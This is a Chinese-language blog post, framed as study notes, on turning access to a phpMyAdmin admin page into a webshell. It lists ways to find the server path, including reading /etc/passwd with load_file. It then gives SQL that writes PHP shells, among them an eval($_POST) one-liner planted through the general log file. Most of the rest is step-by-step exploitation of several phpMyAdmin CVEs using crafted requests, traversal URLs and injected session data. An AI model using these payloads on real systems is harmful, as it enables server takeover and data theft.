phpMyAdmin getshell 学习

参考文章

phpmyadmin4.8.1后台getshell
phpMyAdmin 渗透利用总结
CVE-2018-19968 phpmyadmin文件包含getshell连载

前言

拿到一个 phpMyAdmin 管理页面后怎么 GetShell ?

信息搜集

版本

注:phpMyAdmin 版本还可以在这里查看
自带文件/phpMyAdmin/README

获取网站真实路径

  • phpinfo
    phpinfo 页面泄露,具体在 _SERVER["SCRIPT_FILENAME"]_SERVER["CONTEXT_DOCUMENT_ROOT"]_SERVER["DOCUMENT_ROOT"]Server Root 等处
    如:

  • 读取配置文件
    MySQL load_file 函数读取配置文件
    条件: 执行select @@secure_file_priv得到空的返回值,而不是 NULL;文件大小不能大于PHP限制的max_allowed_packet,同时magic_quotes_gpc=off

    其中:
    当 secure_file_priv 的值为 NULL ,表示限制 mysql 不允许导入/导出
    值为 /tmp/ ,表示限制 mysql 的导入|导出只能发生在 /tmp/ 目录下
    值为空,表示不对 mysql 的导入/导出做限制

默认配置文件有:

Windows:
c:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件

Linux:
/etc/php.ini                                           php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                             Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

具体命令:select load_file("/etc/passwd")

  • @@datadir参数看 mysql 路径 反猜绝对路径
    select @@datadir

  • 构造报错页面
    输入一些错误的路径,导致网页报错(页面访问报错,sql 注入报错、文件包含报错)

  • 特定 CMS 默认路径

dedecms:
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php

WP:
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php

其他可在网上搜索

  • google hack
    利用 百度 谷歌 fofa zoomeye 等搜索引擎
    搜索关键字 error 等等

一般版本 GetShell

前提条件

查看读写文件路径:show variables like "%secure_file_priv%"select @@secure_file_priv 结果为空

常规写 shell

需要知道绝对路径、数据库root权限、数据库有写权限
具体语句:SELECT "<?php phpinfo();?>" INTO OUTFILE "D:\\software\\phpstudy_pro\\WWW\\shell.php"
注意点:windows下,须要双反斜线,否则会转义
然后使用菜刀/蚁剑等链接即可

日志写 shell

MySQL 5.0+ 的版本会自动创建日志文件,且在服务运行的情况下修改全局变量也是可以变动文件位置的,但须要对生成日志的目录有可读可写的权限

general log 指的是日志保存状态

show variables like "general_log%";  // 查询日志保存状态,ON代表开启 OFF代表关闭。
set global  general_log='on';   // 设置为 on

general log file 指的是日志的保存路径

set global  general_log_file ="D:\\software\\phpstudy_pro\\WWW\\shell.php"

由于执行的语句都会写入到日志文件中,所以我们查询语句select "<?php eval($_POST[R0oKi3]);?>"便会将其记录到指定的日志文件中
然后使用菜刀/蚁剑等链接即可

特殊版本

phpMyAdmin 2.x版本 反序列化漏洞任意文件读取

POST /scripts/setup.php HTTP/1.1
Host: www.test.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

phpmyadmin 4.0.x/4.4.x RCE(CVE-2016-5734)

POC
条件:
phpMyAdmin版本:4.0.10.16之前4.0.x版本、4.4.15.7之前4.4.x版本;能登陆后台;PHP版本: 4.3.0-5.4.6
用法:python cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://test.com,注意: -c 指要执行的 php 代码

phpMyAdmin 4.8.1 文件包含漏洞(CVE-2018-12613)

文章:phpmyadmin4.8.1远程文件包含漏洞

  • 利用方式一

前提:能进管理页面

  1. 访问 http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 页面
  2. 执行如下 sql 语句 SELECT '';
  3. 查看自己的 seesionid
  4. http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_ 4u1jrl5dd5eshq332kto80bpp0qnmn0e 即包含你的session文件,即可 getshell
  • 利用方式二

前提:能进管理页面,查询数据库绝对路径

  1. select @@datadir; 查看数据库绝对路径
  2. 创建数据库,并插入 php 一句话
CREATE DATABASE test;
use test;
CREATE TABLE test(code varchar(100));
INSERT INTO test(code) VALUES("<?php phpinfo(); ?>");
  1. 包含该数据库文件
http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../../software/phpstudy_pro/Extensions/MySQL5.7.26/data/test/test.MYD

phpMyAdmin 4.0.1--4.2.12 任意文件包含(CVE-2014-8959)

前提:能进管理页面;PHP版本 < 5.3.4(00截断);已知网站绝对路径
http://test.com/gis_data_editor.php?token=你的token值&gis_data[gis_type]=/../../../../phpinfo.txt%00
可找上传点上传图片马等文件 getshell

phpMyAdmin 4.8.0--4.8.3 任意文件包含/RCE(CVE-2018-19968)

  1. 登陆后台,创建数据库
CREATE DATABASE test;
CREATE TABLE test.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO test.bar SELECT '<?php phpinfo(); ?>';

  1. 访问 http://test.com/chk_rel.php?fixall_pmadb=1&db=test 页面

  2. 查看 COOKIE 中 phpMyAdmin 的值

  3. 将表 pma__columninfo 中将 sess_*** 中的 *** 替换成你刚刚查找的 phpMyAdmin 值
    执行下列语句:

INSERT INTO pma__column_info SELECT '1', 'test', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_5459575785b3388d23cce3644f2c482f','plop';
# 注意,这里的 sess_5459575785b3388d23cce3644f2c482f 文件需要改成自己对应的文件

  1. 访问 http://test.com/tbl_replace.php?db=test&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
    即可看到恶意代码已被包含
posted @ 2020-08-08 15:38  1ndex-  阅读(3600)  评论(0编辑  收藏  举报